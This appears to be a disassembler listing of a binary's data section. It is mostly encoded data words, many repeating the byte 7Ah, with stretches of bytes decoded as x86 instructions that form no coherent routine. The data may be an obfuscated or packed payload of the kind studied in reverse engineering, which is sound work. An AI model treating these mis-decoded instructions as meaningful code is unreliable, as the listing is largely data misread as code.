dd 92F96A6Bh, 0F852A71h, 720F856Ah, 85B60C92h, 76BEF985h
dd 0FFD63FF3h, 0AFF75BAh, 127A7A78h, 6A6BFE0Ah, 85F66792h
dd 852A2385h, 7B7A766Fh, 8A3FF36Ah, 923FBD1Ch, 3FF77A72h
dd 0FF72A82h, 6A96F992h, 7EC39DF3h, 897A7A7Ah, 6A07F1DFh
dd 8545F12Dh, 0B9F34A2Dh, 0BE7FC575h, 756A6BFAh, 0FBBE6FC5h
dd 0AA7B6A6Bh, 437492F9h, 7AFF75B9h, 0F77A7A78h, 122ABA3Fh
dd 6A6BE042h, 2A823FF1h, 6E8542F1h, 7A7A7A47h, 75B9F37Ah
dd 0FAEE7FC5h, 7F796A6Bh, 6A6BFBA2h, 437C92F9h, 0BDFF75B9h
dd 1C7A7A7Bh, 78AA3FBDh, 0F866DB7Ah, 0C5756A6Bh, 6BF83A6Fh
dd 0F9AA7B6Ah, 3FF37692h, 9E3FF7A2h, 0AA0FF72Ah, 0F36A96F9h
dd 7A7EC39Dh, 0DF897A7Ah, 0F9AA0FF7h, 9DF36A96h, 7A7A7EC3h
dd 0F1DF897Ah, 0F12DBA07h, 562D8545h, 5ADBB9F3h, 0F96A6BF8h
dd 0B9437892h, 7B1DFF75h, 36DB7A7Ah, 0F96A6BF8h, 3FF37392h
dd 863FF786h, 0E032122Ah, 3FF16A6Bh, 42F12A9Eh, 7A476E85h
dd 0F37A7A7Ah, 0F876DBB9h, 92F96A6Bh, 75B9437Eh, 7A7B51FFh
dd 0AA7F857Ah, 0DB6A7B5Fh, 6A6BFB1Ah, 0F87A7F79h, 92F96A6Bh
dd 0AA7F4378h, 86A7B5Fh, 0FA8ADB5Bh, 0BAF96A6Bh, 327F7979h
dd 0D96A6BF8h, 6A7B5FAAh, 92860F85h, 858514DBh, 7A9F9323h
dd 0C5757A7Ah, 6BFBEE7Fh, 0F67F796Ah, 0F96A6BFBh, 3FF37892h
dd 0CA3FF7C2h, 664F852Ah, 926A7A8Ah, 858599ACh, 0F7B63FF3h
dd 852ACE3Fh, 7B75AE4Fh, 99BE926Ah, 3FF38585h, 0C63FF7B2h
dd 5A4F852Ah, 926A7332h, 858599C8h, 0F362BEF9h, 7F9BE3Fh
dd 610E7AC6h, 6D0EBAFFh, 3FF73910h, 0F852AC2h, 0C60F8586h
dd 92BE0F85h, 8585CAC3h, 0F96EBEF9h, 0E7ACE07h, 0B207F967h
dd 106D0E7Ah, 0C23FF72Ah, 860F852Ah, 85CE0F85h, 0EC92B20Fh
dd 0F98585CAh, 7F96EBEh, 670E7ACAh, 7AB607F9h, 3E106D0Eh
dd 2AC23FF7h, 85860F85h, 0F85CA0Fh, 0CA0992B6h, 0BEF98585h
dd 0B20F856Eh, 5FB66F85h, 0F856A7Bh, 0B66F85BEh, 856A7B5Fh
dd 6F85B60Fh, 6A7B5FB6h, 0EE7FC575h, 3A6A6BFBh, 6A0F852Ah
dd 92720F85h, 8585B041h, 0F176BEF9h, 0F12A863Fh, 722C854Ah
dd 2A9E3FF1h, 2C854AF1h, 0BA3FF172h, 854AF12Ah, 3FF1722Ch
dd 4AF12A82h, 0F7722C85h, 852A923Fh, 6B154E6Fh, 0FBD6DB6Ah
dd 7F796A6Bh, 6A6BFADAh, 437F92F9h, 257A0EB9h, 0B9B32124h
dd 7A3A7BC2h, 7A6AB8FAh, 96FB23EAh, 7A7A6A7Ah, 7A6A7A57h
dd 5E7EFF7Ah, 7A6A7A47h, 5391097Ah, 5E7EFFBEh, 2223B92Bh
dd 0BB79BAF9h, 9ABB7892h, 6A7A4778h, 64067A7Ah, 0A12A98F3h
dd 76F35E7Eh, 5E7EA15Eh, 8585BA92h, 28AEF385h, 0F15E66A1h
dd 66A15E76h, 0BE53225Eh, 7ABD9AF3h, 7A7A7A7Ah, 7AB92B2Bh
dd 3ABA4B7Ah, 7A7A76B8h, 46A32A7Ah, 5E7EF15Eh, 5E4EC075h
dd 76FB1C72h, 0A3787A5Eh, 0F2235E56h, 799AF99Ah, 46A32AB9h
dd 8991225Eh, 5E46A32Ah, 1C5E7EF1h, 7A5E76FBh, 7A9A9179h
dd 96FB237Ah, 7A7A6A7Ah, 7A6A7A57h, 5E7EFF7Ah, 7A6A7A47h
dd 5391097Ah, 5E7EFFBEh, 7A7A9B85h, 5E2EF17Ah, 0C3BA4B72h
dd 85858585h, 0D48880FDh, 33F7A38Dh, 5E3EF185h, 6F1EC72h
dd 0DE897E5Eh, 0F1ADFDECh, 0B87E5E3Eh, 7A7A7A72h, 0D65F857Ah
dd 0EA6A6BDAh, 7A7A7AEAh, 0CA5F857Ah, 0EA6A6BDAh, 7A7A7AEAh
dd 0CE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0BA5F857Ah, 0EA6A6BDAh
dd 7A7A7AEAh, 0BE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0B25F857Ah
dd 0EA6A6BDAh, 7A7A7AEAh
dd 0B65F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0AA5F857Ah, 0EA6A6BDAh
dd 7A7A7AEAh, 0AE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0A25F857Ah
dd 0EA6A6BDAh, 7A7A7AEAh, 0A65F857Ah, 0EA6A6BDAh, 7A7A7AEAh
dd 5Fh dup(7A7A7A7Ah), 7A9F027Ah, 7A7A7A6Ah, 4 dup(7A7A7A7Ah)
dd 7A095F7Ah, 87A0D7Ah, 1Ch dup(7A7A7A7Ah), 7A7A7E7Ah
dd 7A7A787Ah, 7A7A737Ah, 7A7A7C7Ah, 7A7A797Ah, 7A7A7D7Ah
dd 7A7A7A7Ah, 7A7A7D7Ah, 2 dup(7A7A7F7Ah), 7A7A7E7Ah, 7A7A7A7Ah
dd 7A7A787Ah, 7A7A7C7Ah, 2 dup(7A7A7B7Ah), 7A7A7C7Ah, 7A7A7F7Ah
dd 7A7A7C7Ah, 7A7A7E7Ah, 7A7A7C7Ah, 7A7A7F7Ah, 2 dup(7A7A7B7Ah)
dd 7A7A797Ah, 7A7A787Ah, 7A7A7F7Ah, 7A7A787Ah, 7A7A737Ah
dd 7A7A7A7Ah, 7A7A727Ah, 7A7A787Ah, 7A7A737Ah, 7A7A7B7Ah
dd 7A7A727Ah, 7A7A787Ah, 7A7A727Ah, 7A7A787Ah, 7A7A7F7Ah
dd 7A7A727Ah, 7A7A7B7Ah, 7A7A787Ah, 7A7A797Ah, 7A7A737Ah
dd 7A7A7B7Ah, 7A7A7E7Ah, 7A7A7B7Ah, 7A7A787Ah, 7A7A7E7Ah
dd 7A7A727Ah, 7A7A797Ah, 7A7A7E7Ah, 7A7A7D7Ah, 7A7A7B7Ah
dd 7A7A787Ah, 7A7A7F7Ah, 7A7A7E7Ah, 7A7A7D7Ah, 7A7A737Ah
dd 7A7A7D7Ah, 7A7A7A7Ah, 7A7A7E7Ah, 7A7A7F7Ah, 7A7A7B7Ah
dd 7A7A727Ah, 2 dup(7A7A7B7Ah), 7A7A7E7Ah, 7A7A727Ah, 7A7A7C7Ah
dd 7A7A7A7Ah, 7A7A787Ah, 7A7A7D7Ah, 2 dup(7A7A7E7Ah), 7A7A7C7Ah
dd 7A7A7B7Ah, 2 dup(7A7A727Ah), 7A7A737Ah, 7A7A7D7Ah, 7A7A727Ah
dd 7A7A7E7Ah, 7A7A7A7Ah, 2 dup(7A7A7E7Ah), 7A7A7D7Ah, 7A7A797Ah
dd 7A7A7C7Ah, 7A7A737Ah, 7A7A797Ah, 7A7A7A7Ah, 7A7A7F7Ah
dd 7A7A787Ah, 7A7A7B7Ah, 7A7A7E7Ah, 7A7A7F7Ah, 7A7A797Ah
dd 7A7A7A7Ah, 7A7A7E7Ah, 7A7A787Ah, 7A7A7B7Ah, 7A7A727Ah
dd 7A7A7D7Ah, 7A7A7B7Ah, 7A7A727Ah, 2 dup(7A7A7A7Ah), 7A7A727Ah
dd 7A7A7D7Ah, 7A7A7E7Ah, 7A7A737Ah, 10h dup(7A7A7A7Ah)
dd 7A921A7Ah, 1B7A7A7Ah, 7A7A7A93h, 3 dup(7A7A7A7Ah), 7A10FB7Ah
dd 7AF2796Ah, 7AF0026Ah, 7A2DE16Ah, 7AB2076Ah, 7AD45C6Ah
dd 7A24F26Ah, 7A7A7A6Ah, 7A5F2C7Ah, 7A5F456Ah, 7A3E9B6Ah
dd 7A3D696Ah, 7A9F696Ah, 7AD8AA6Ah, 7A5E936Ah, 6BF8B26Ah
dd 7A7A7A6Ah, 7AB7E97Ah, 7ABDB06Ah, 7A3F726Ah, 7ADDF76Ah
dd 7A5F4D6Ah, 7A28066Ah, 7A2C286Ah, 6BF8966Ah, 1B1F366Ah
dd 8391F0Ch, 19130E13h, 1F29161Bh, 15130E19h, 8397A14h
dd 1F0E1B1Fh, 1F08122Eh, 3F7A1E1Bh, 81F0E14h, 0E130839h
dd 161B1913h, 0E191F29h, 7A141513h, 0E131433h, 13161B13h
dd 8391F00h, 19130E13h, 1F29161Bh, 15130E19h, 7A7A7A14h
dd 10DE027Ah, 0BDCD2CADh, 5A0AA192h, 0C7B4945Eh, 675D5BBh
dd 0FDBC508Fh, 4A3C693Dh, 3CEF7BD2h, 0FAE2A287h, 3E8DD513h
dd 8521CBF1h, 26ADC485h, 0EA6B58F3h, 0E20BE911h, 339F487h
dd 0CE725BDCh, 645F1833h, 3AC93A8Ch, 24202BBAh, 0CCBDD05Ch
dd 556A2793h, 3E6E29ACh, 0DB9CFB78h, 0A981B2A2h, 9BB79C9Dh
dd 4D7DAC5Bh, 0AF77FDB9h, 206E978Eh, 99937F3Fh, 95D982D3h
dd 1578A386h, 5036F01Dh, 804338F7h, 0B8CFB85h, 0E71B58FDh
dd 9F427617h, 0C4903E87h, 0A4B5D3DEh, 0C1311A31h, 0C5C60A8Ch
dd 0E104BCC4h, 0DB5D8052h, 954AFF90h, 0F2677FAEh, 0AEAA437Eh
dd 0A1E39FA3h, 0D806829Ch, 0D62C1F65h, 53583EBEh, 5085ED8Eh
dd 0EE59DD39h, 0E9DA43D1h, 2123B986h, 76B6E81Fh, 958E07F5h
dd 0FE27AB85h, 0D20435FFh, 569C9A15h, 7B396E84h, 726BDBD9h
dd 2904F834h, 40884F8Dh, 0ADA8C1C7h, 0FCA9EB50h, 7AA64091h
dd 7AA63F6Ah, 7AA6E16Ah, 7AA68D6Ah, 7A7A7E6Ah, 107A527Ah
dd 167A1D7Ah, 7A7A0B7Ah, 0A07A7C7Ah, 8DD1CBCBh, 7C7AD8D6h
dd 0C2C2A97Ah, 0D1DF84D8h, 0B47A7C7Ah, 99C5DFDFh, 727ACCC2h
dd 7D2B0E7Ah, 767A6351h, 7C7A7B2Bh, 808637Ah, 1B154E12h
dd 617A7D7Ah, 0C3E1244h, 7A501915h, 0D7937A76h, 0D4E3E0FAh
dd 0F2C3E7F6h, 7AFEF2E1h, 0EBBD7A71h, 0DCD4CFDCh, 0D3F4C9D3h
dd 767AC9D4h, 0F1C6907Ah, 0FEF1F9E2h, 0F5FCD3E4h, 747AE2F1h
dd 93B9EA7Ah, 8686AB99h, 9EB98985h, 8D848398h, 0FF7A777Ah
dd 0B98C86ACh, 0AC9A9A8Dh, 91968D8Bh, 7A767A98h, 252C2F40h
dd 73343521h, 2C246E72h, 7A767A2Ch, 3B32315Eh, 6D2A2B3Fh
dd 323A706Ch, 7A7E7A32h, 595C1638h, 7A717A4Ch, 91C4E8B4h
dd 0C191EBC1h, 0D8D8D09Ah, 0DD7A7B7Ah, 7A7B7A8Bh, 6D7AA9FCh
dd 0A5E3C67Ah, 0A5E3A5E3h, 0E3EBA5E3h, 2 dup(0E3A5E3A5h)
dd 0A9A5E8A5h, 7A6C7AABh, 0D294D2F7h, 0D294D294h, 0DA94D294h
dd 2 dup(94D294D2h), 7A8285D9h, 34477A70h, 28182421h, 2B236934h
dd 7A707A2Bh, 9F9A8FFCh, 0D28F93A3h, 7A909098h, 0DAFF7A7Eh
dd 7AA3C59Ch, 9AC87A6Ah, 0BD99AFADh, 9EB1BAADh, 0ADBDA4A9h
dd 7A89B08Dh, 0C38C7A6Ah, 0DCE2E9FCh, 0E9EFE3FEh, 0E3D8FFFFh
dd 7AE2E9E7h, 0CC8B7A69h, 0E4DFFFEEh, 0C2E5EEE0h, 0F9E4EDE5h
dd 0E2FFEAE6h, 667AE5E4h, 5D7A337Ah, 525A475Ah, 56495A5Fh
dd 46505660h, 4A475A41h, 50405677h, 47435A41h, 767A415Ch
dd 7C5E197Ah, 7C6A4C6Dh, 7478576Bh, 777A587Ch, 596E3C7Ah
dd 594C735Bh, 45597752h, 7A7D4479h, 8FDC7A60h, 0B98FA8B9h
dd 0B5AEA9BFh, 0B998A5A8h, 0B5AEBFAFh, 0AEB3A8ACh, 0B9B2AB93h
dd 7A687AAEh, 0CADBF9BEh, 0EDDAD7EDh, 0CBFFDCCBh, 0CCD1D6CAh
dd 7AC7CAD7h, 0EFBC7A6Ah, 0D5FAC8D9h, 0D9EFD9D0h, 0D5CEC9DFh
dd 7AFDC5C8h, 9BD77A6Fh, 0A2BCB8B8h, 0BEA587A7h, 0B2BBBEA1h
dd 0B681B2B0h, 96B2A2BBh, 0C87A6D7Ah, 9BBCAD8Fh, 0BD9BACA1h
dd 0BCBD89AAh, 0A1BAA7A0h, 0A78BB1BCh, 7ABCA6BDh, 3E7F7A6Fh
dd 0C0A151Bh, 14102B0Bh, 0D2F111Ah, 13160916h, 0C1A181Ah
dd 527A717Ah, 11353700h, 37213D3Eh, 7A2B3719h, 0EBAC7A63h
dd 0C5FFD8C9h, 0C9C8E5C8h, 0CAC5D8C2h, 0EDDEC9C5h, 0C3C4D8D9h
dd 0D5D8C5DEh, 3D7A637Ah, 6E49586Eh, 4F485E58h, 79444954h
dd 4F5E4E58h, 52494D54h, 5E5C794Fh, 7A767A51h, 0C1D3D6B7h
dd 84DEC7D6h, 0DBD39985h, 7A767ADBh, 0E2F0F594h, 0A7FDE4F5h
dd 0F8F0BAA6h, 7A7B7AF8h, 787A126Eh, 0D78BAB7Ah, 867A7B7Ah
dd 7A7E7ABCh, 14444161h, 7A7B7A5Bh, 707A0F73h, 776B4B7Ah
dd 619040Dh, 753E6E71h, 8E7A717Ah, 0DCC8B2AEh, 0B4CBC3CFh
dd 7AB0FBABh, 0DDFD7A70h, 0BCAFBBC1h, 0B0C7B8B0h, 7A7A7AC3h
dd 7A7A7F7Ah, 67A707Ah, 1C7A117Ah, 157A057Ah, 7A7A7A7Ah
dd 7A7A7E7Ah, 287A467Ah, 2B7A277Ah, 7A7A237Ah, 547A787Ah
dd 7B7A7474h, 7AEEC17Ah, 0BAD77A68h, 0BBA3B4A4h, 0A3A488A4h
dd 0A4A2A3B6h, 0E4A5B6B5h, 7A747AE5h, 0E6E5D084h, 0E0EAEDD3h
dd 0E8C7F3EBh, 7AF7F7E5h, 5F647A79h, 7E7A590Bh, 175F647Ah
dd 7E7A590Bh, 0E2BD867Ah, 7E7AACBBh, 0ECB3887Ah, 7A7AA9B5h
dd 7A7A797Ah, 237A6A7Ah, 2D7A277Ah, 7B7A7A7Ah, 7AB0EC7Ah
dd 57727A75h, 14162E01h, 807571Eh, 165C4041h, 6A7A1E1Eh
dd 0CD9BBE7Ah, 0CCCDC9E2h, 0CAC4CB9Bh, 0DA908C8Dh, 717AD2D2h
dd 0DB8DA87Ah, 8DDB8DF4h, 0C4C686DDh, 7A757ADBh, 90BFE9CCh
dd 0B9E9AAA7h, 0FEFFB6A0h, 0A0A0A8E2h, 0D47A7E7Ah, 8CE6FAF1h
dd 927A7B7Ah, 7A787AB7h, 7AE3A580h, 94C47A73h, 0B1A0ABB6h
dd 0A08DB0A7h, 7C7A567Ah, 283A332Fh, 392E3D2Bh, 1F153120h
dd 130F130Eh, 2B20081Ah, 13181215h, 325C0F0Bh, 93F2028h
dd 12190E0Eh, 0E192A08h, 1213150Fh, 57A737Ah, 616A7755h
dd 4C716670h
db 61h ; a
db 7Ah, 53h, 7Ah
db 7Bh ; {
db 28h, 34h, 3Dh
db 2Fh ; /
db 2Ch, 3Ah, 29h
db 3Eh ; >
db 27h, 36h, 12h
db 18h
db 9
db 14h
db 8
dd 270F1D14h
db 2Ch ; ,
db 12h, 15h, 1Fh
db 14h
db 0Ch, 8, 27h
db 38h ; 8
db 0Eh, 2 dup(9)
db 1Eh
db 15h, 0Fh, 2Dh
db 1Eh
db 9, 8, 12h
db 14h
db 15h, 7Ah, 7Bh
db 7Ah ; z
db 0DEh, 0F0h, 7Ah
db 7Eh ; ~
db 7Ah, 0BBh, 96h
db 9Eh ;
db 0E3h ; ã
db 95h ; •
db 7Ah ; z
db 79h ; y
db 7Ah ; z
db 2Bh ; +
db 48h ; H
db 11h
db 77h ; w
db 7Ah ; z
db 72h ; r
db 7Ah ; z
db 50h ; P
db 75h ; u
db 25h ; %
db 7Eh ; ~
db 75h ; u
db 25h ; %
db 7Eh ; ~
db 75h ; u
db 25h ; %
db 7Ah ; z
db 78h ; x
db 7Ah ; z
db 0C9h ; É
db 87h ; ‡
db 9Dh ;
db 7Ah ; z
db 78h ; x
db 7Ah ; z
db 89h ; ‰
db 0B0h ; °
db 0D1h ; Ñ
db 7Ah ; z
db 71h ; q
db 7Ah ; z
db 52h ; R
db 11h
db 20h
db 37h ; 7
db 33h ; 3
db 26h ; &
db 37h ; 7
db 14h
; ---------------------------------------------------------------------------
cmp eax, 7A13263Ch
jnb short loc_426596
retf
; ---------------------------------------------------------------------------
db 0ACh, 0AFh, 0A2h
dd 0AFE5F9F8h, 737AA7A7h, 4D4E297Ah, 71B1A40h, 7A45454Dh
dd 1B687A77h, 0D1C1B11h, 71A1805h, 0D04010Eh, 77A7C7Ah
dd 6E717562h, 7B7A6264h, 7A50747Ah, 31627A7Ch
db 3Bh, 31h, 36h
; ---------------------------------------------------------------------------
loc_42655B: ; CODE XREF: .data:004265C2j
daa
das
jp short loc_4265D1
; ---------------------------------------------------------------------------
db 7Ah
; ---------------------------------------------------------------------------
loc_426560: ; CODE XREF: .data:004265BEj
jnz short near ptr loc_4265B5+2
xor es:[edi], ah
and edi, [esi+esi]
xor [edx+3Ah], bh
jp short near ptr loc_4265CE+1
and esp, [eax]
and [esi], esp ; CODE XREF: .data:004265BAj
loc_426571: ; CODE XREF: .data:004265B8j
daa
and al, 25h
sub ch, [ebx]
sub [ecx], ch
db 2Eh ; CODE XREF: .data:004265C0j
das
sub al, 2Dh ; CODE XREF: .data:004265BCj
xor dh, [ebx]
loc_42657E: ; CODE XREF: .data:004265C6j
xor [ecx], dh
db 36h
aaa
loc_426582: ; CODE XREF: .data:004265C4j
xor al, 35h
cmp bh, [ebx]
cmp [ebx], al
add [ecx], al
push es
pop es
add al, 5
or cl, [ebx]
or [ecx], cl
push cs
; ---------------------------------------------------------------------------
db 0Fh
; ---------------------------------------------------------------------------
or al, 0Dh
loc_426596: ; CODE XREF: .data:0042651Aj
adc dl, [ebx]
adc [ecx], dl
push ss
pop ss
adc al, 15h
sbb bl, [ebx]
sbb [edx+53h], dl
push eax
push ecx
push esi
push edi
push esp
push ebp
pop edx
pop ebx
dec ecx
dec ebp
jp short loc_426629
jp short loc_42662B
jnb short near ptr loc_42662B+2
jp short near ptr loc_42662B+4
loc_4265B5: ; CODE XREF: .data:loc_426560j
sar byte ptr [edx-50h], cl
jp short loc_426571
jp short near ptr loc_42656F+1
jp short near ptr loc_42657A+1
jp short loc_426560
jp short near ptr loc_426578+1
jp short loc_42655B
jp short loc_426582
jp short loc_42657E
jp short near ptr loc_426642+2
jp short loc_426626
jp short loc_4265F8
loc_4265CE: ; CODE XREF: .data:0042656Bj
mulps xmm1, oword ptr [edx]
loc_4265D1: ; CODE XREF: .data:0042655Dj
pop ecx
pop eax
dec ecx
pop ss
inc edx
pop esi
pop esi
pop edx
adc ds:15590F05h, al
inc edx
pop ss
mulps xmm1, oword ptr [esp+ebx*2]
pop ss
maxps xmm1, oword ptr [edx+ebx*2]
pop ss
mulps xmm2, oword ptr [edx+edi*2]
cmp [edx+7Bh], edi
pop esi
or [ebx+8], bl
loc_4265F6: ; CODE XREF: .data:00426640j
or [eax], ebx
loc_4265F8: ; CODE XREF: .data:004265CCj
inc esi
adc ecx, [edi]
ud2
; ---------------------------------------------------------------------------
db 41h, 2 dup(54h)
dd 1344085Eh, 5D085E46h, 0E5E4612h, 145D085Eh, 5D0E5E46h
dd 185E461Dh, 4612085Dh, 85D085Eh, 0E5E4614h
db 5Dh, 0Fh
; ---------------------------------------------------------------------------
loc_426626: ; CODE XREF: .data:004265CAj
pop ss
inc esi
pop esi
loc_426629: ; CODE XREF: .data:004265ADj
push cs
pop ebp
loc_42662B: ; CODE XREF: .data:004265AFj
; .data:0042666Dj ...
or eax, 5D0E5E46h
pop ds
inc esi
pop esi
or [ebp+7Ah], al
push 7Ah
mov edx, 0B5B4E7B4h
movsb
cli
loop loc_4265F6
loc_426642: ; CODE XREF: .data:004265C8j
call near ptr 0E33D083Fh
movsb
stc
jp short loc_4266AF
jp short loc_426680
cvtps2pd xmm3, qword ptr [esi+54h]
adc eax, [edx+ebx*2+57h]
inc edi
pop ebx
push cs
add edx, [ebx]
pop ebx
push esi
pop edx
loc_42665D: ; CODE XREF: .data:004266C0j
push esp
pop ebx
inc edi
push cs
add edx, [ebx]
push ecx
pop esp
inc ecx
push edi
push esi
inc ecx
push cs
add edi, [edx+7Dh]
jp short near ptr loc_42662B+1
sbb edi, 0DF928183h
cmp dword ptr [edx+71h], 7Ah
adc al, 59h
jno short loc_4266E4
db 67h
jnz near ptr 66F3h
loc_426680: ; CODE XREF: .data:0042664Bj
jno short loc_4266D8
jnp short loc_4266F0
push ebp
jp short loc_4266FE
jp short loc_426697
dec edx
imul edi, [ebp+7Ah], 7Ch ; CODE XREF: .data:loc_4266FEj
popa
ja short locret_4266EA
db 67h
pusha
push 61h
jns short near ptr byte_426711
loc_426697: ; CODE XREF: .data:00426687j
jz short locret_426713
test eax, 0FEDDCCFAh
rol bh, 0CDh
mov dh, 0FDh
int 3 ; Trap to Debugger
rcr ebp, 1
call near ptr 34BCCF26h
jno short loc_426708 ; CODE XREF: .data:0042670Fj
inc ecx
loc_4266AF: ; CODE XREF: .data:00426649j
pop ecx
jo short near ptr byte_426703
inc edi
pop edi
inc eax
pop ebx
inc esp
arpl [ebp+5Ah], bx
push eax
pop ebx
inc ebx
inc edi
jp short loc_426730
jp short loc_42665D
setalc
hlt
; ---------------------------------------------------------------------------
dd 0F2CCFEEDh, 0ECF4FFF5h, 6A7A6A7Ah, 1A19032Eh, 2091E0Bh
; ---------------------------------------------------------------------------
loc_4266D8: ; CODE XREF: .data:loc_426680j
daa
; ---------------------------------------------------------------------------
db 0Fh, 2 dup(19h)
dd 2B0F0D0Bh, 0BC7A717Ah
; ---------------------------------------------------------------------------
loc_4266E4: ; CODE XREF: .data:0042667Bj
sti
fxch st
icebp
loc_4266E8: ; CODE XREF: .data:00426719j
; .data:00426757j
fxch st(7)
locret_4266EA: ; CODE XREF: .data:0042668Fj
iret
; ---------------------------------------------------------------------------
db 0DDh
dd 7AFDD9DBh
; ---------------------------------------------------------------------------
loc_4266F0: ; CODE XREF: .data:00426682j
jnb short loc_42676C
push 3F1C0D2Fh
add [esi], eax
or al, 7
pop ds
jp short near ptr loc_426774+1
loc_4266FE: ; CODE XREF: .data:00426685j
jp short near ptr loc_42668A+3
retf 0F9E8h
; ---------------------------------------------------------------------------
byte_426703 db 0DAh ; CODE XREF: .data:004266B0j
dd 0E2E9E3E4h
; ---------------------------------------------------------------------------
loc_426708: ; CODE XREF: .data:004266ACj
cli
fucomip st, st
out dx, al
stc
jp short loc_426784
jp short near ptr loc_4266AC+1
; ---------------------------------------------------------------------------
byte_426711 db 0DFh, 0FDh ; CODE XREF: .data:00426695j
; ---------------------------------------------------------------------------
locret_426713: ; CODE XREF: .data:loc_426697j
db 0F0h
lock retf
; ---------------------------------------------------------------------------
cmc
loc_426717: ; CODE XREF: .data:00426793j
repne clc
rep jmp short loc_4266E8
; ---------------------------------------------------------------------------
dd 0DDFFF3EEh, 0B57A747Ah, 0E2C1D0F2h, 0DAD1DBDCh, 0CDD0E1C2h
; ---------------------------------------------------------------------------
loc_426730: ; CODE XREF: .data:004266BEj
sal esp, 7Ah
ja short loc_4267AF
add [esi+64h], eax
jnz short loc_42677C
insd
pusha
jb short loc_4267B0
dec edi
pusha
insb
db 64h
inc eax
jp short loc_4267B9
jp short loc_42679A
add [esi], dh
daa
add al, 3Ah
loc_42674C: ; CODE XREF: .data:0042677Fj
cmp eax, 1F243C37h
cmp al, 3Dh
xor al, 12h
jp short loc_4267CD
jp short near ptr loc_4266E8+1
retn
; ---------------------------------------------------------------------------
dw 0FEF5h
dd 0E3F5DDF4h, 0F5F7F1E3h, 7A6A7AD1h, 0C8DBFDA9h
; ---------------------------------------------------------------------------
loc_42676C: ; CODE XREF: .data:loc_4266F0j
mov edx, 0CCDDC8C5h
in al, 0CCh ; DMA controller, 8237A-5.
; clear byte pointer flip-flop.
loc_426774: ; CODE XREF: .data:004266FCj
fcmovu st, st(2)
enter 0FFFFCCCEh, 7Ah
loc_42677A: ; CODE XREF: .data:004267EEj
jb short loc_4267F6
loc_42677C: ; CODE XREF: .data:00426738j
lahf
int 3 ; Trap to Debugger
cli
jmp short loc_42674C
; ---------------------------------------------------------------------------
div dl
cli
loc_426784: ; CODE XREF: .data:0042670Dj
in eax, dx
jp short loc_4267F9
jp short loc_4267CD
pop ss
and [eax], esi
add ch, [ebx]
daa
xor [edi], esi
jp short loc_426807
jp short loc_426717
shl bh, 1
in eax, 0EBh
icebp
loc_42679A: ; CODE XREF: .data:00426745j
mul bh
lock shr esi, 0E3h
icebp
icebp
retn
; ---------------------------------------------------------------------------
db 7Ah
; ---------------------------------------------------------------------------
jo short loc_426820
cli
test eax, 0AD8D9592h
xchg eax, ebx
xchg eax, esp
sahf
loc_4267AF: ; CODE XREF: .data:00426733j
xchg eax, ebp
loc_4267B0: ; CODE XREF: .data:0042673Cj
lea edi, [edx+77h]
jp short near ptr loc_426823+1
sub [esi], eax
add [ebx], ecx
loc_4267B9: ; CODE XREF: .data:00426743j
cmp [esi], al
add [ebx], ecx
add [eax], bl
sub dl, [edi]
db 2Eh ; CODE XREF: .data:loc_426820j
jp short near ptr loc_426834+5
jp short loc_4267F0
imul ebx, [eax+4Fh], 7D4F5E4Bh
loc_4267CD: ; CODE XREF: .data:00426755j
; .data:00426787j
inc ebx
inc esp
dec esi
inc ebp
pop ebp
outsd
push edx
imul edi, [edx+69h], 7Ah
aas
js short near ptr loc_426834+1
dec ebx
jns short loc_42682E
dec ebp
pop edx
pop eax
dec ebp
push eax
dec edx
push ecx
pop ebx
push 505B5156h
dec eax
jp short loc_426862
jp short loc_42677A
loc_4267F0: ; CODE XREF: .data:004267C4j
int 0EFh ; compiled BASIC - ORIGINAL INT 09 VECTOR
; ---------------------------------------------------------------------------
dw 0DDFEh
db 0E3h, 0E4h
; ---------------------------------------------------------------------------
loc_4267F6: ; CODE XREF: .data:loc_42677Aj
out dx, al
in eax, 0FDh
loc_4267F9: ; CODE XREF: .data:00426785j
; .data:0042683Fj
mov ch, 0E4h
in eax, dx
retf
; ---------------------------------------------------------------------------
dw 747Ah
dd 0ECCD897Ah
db 0EFh, 0DEh, 0E0h
; ---------------------------------------------------------------------------
loc_426807: ; CODE XREF: .data:00426791j
out 0EDh, eax
out 0FEh, al
fsincos
out 0EAh, al
enter 707Ah, 7Ah
lahf
jmp far ptr 0B1ADh:0ACEDFAECh
; ---------------------------------------------------------------------------
db 0FBh
dd 707AF3F3h
; ---------------------------------------------------------------------------
loc_426820: ; CODE XREF: .data:004267A4j
jp short near ptr loc_4267C1+1
; ---------------------------------------------------------------------------
db 0D5h
; ---------------------------------------------------------------------------
loc_426823: ; CODE XREF: .data:loc_42682Ej
; .data:004267B3j
rol ebp, cl
rcl byte ptr [ebx-333B716Eh], cl
; ---------------------------------------------------------------------------
db 0CCh
; ---------------------------------------------------------------------------
loc_42682C: ; CODE XREF: .data:004268A4j
jp short near ptr loc_4268A4+1
loc_42682E: ; CODE XREF: .data:004267DCj
jp short loc_426823
mov al, 9Ch
cmpsd
xchg eax, edx
loc_426834: ; CODE XREF: .data:004267D9j
; .data:loc_4267C1j
sbb byte ptr [eax-4A616942h], 81h
xchg eax, esi
xchg eax, esi
jp short near ptr loc_4268AF+1
jp short near ptr loc_4267F9+2
rep leave
dec ebx
iret
; ---------------------------------------------------------------------------
db 0DBh
; ---------------------------------------------------------------------------
loc_426847: ; CODE XREF: .data:loc_426862j
setalc
std
out dx, eax
; ---------------------------------------------------------------------------
dw 0FEF3h
dd 3B7A6A7Ah
db 78h
; ---------------------------------------------------------------------------
loc_426851: ; CODE XREF: .data:004268C4j
push esp
js short near ptr loc_42689B+2
pop esi
pop edx
dec edi
pop esi
jb short loc_4268AF
dec eax
dec edi
pop edx
push ebp
pop eax
pop esi
jp short loc_4268D7
loc_426862: ; CODE XREF: .data:004267ECj
; .data:004268C8j
jp short loc_426847
mov al, ds:0A7AAB0AFh
movsd
xchg eax, ecx
mov word ptr [esi-756E6850h], cs
lea eax, [edx+edi*2+4F0C7A76h]
arpl [ebp+62h], ax
db 65h
js short loc_4268E3
insd
pusha
db 65h ; CODE XREF: .data:004268DFj
jbe short loc_4268EC
jp short near ptr loc_4268F4+5
jp short loc_4268AF
imul eax, [edi+7Dh], 46h
loc_42688B: ; CODE XREF: .data:004268B5j
inc ecx
inc esi
inc ecx
pop esp
inc ecx
dec ecx
inc esp
inc ecx
push edx
dec ebp
jp short loc_42690A
jp short loc_42689A
outsb
loc_42689A: ; CODE XREF: .data:00426897j
insd
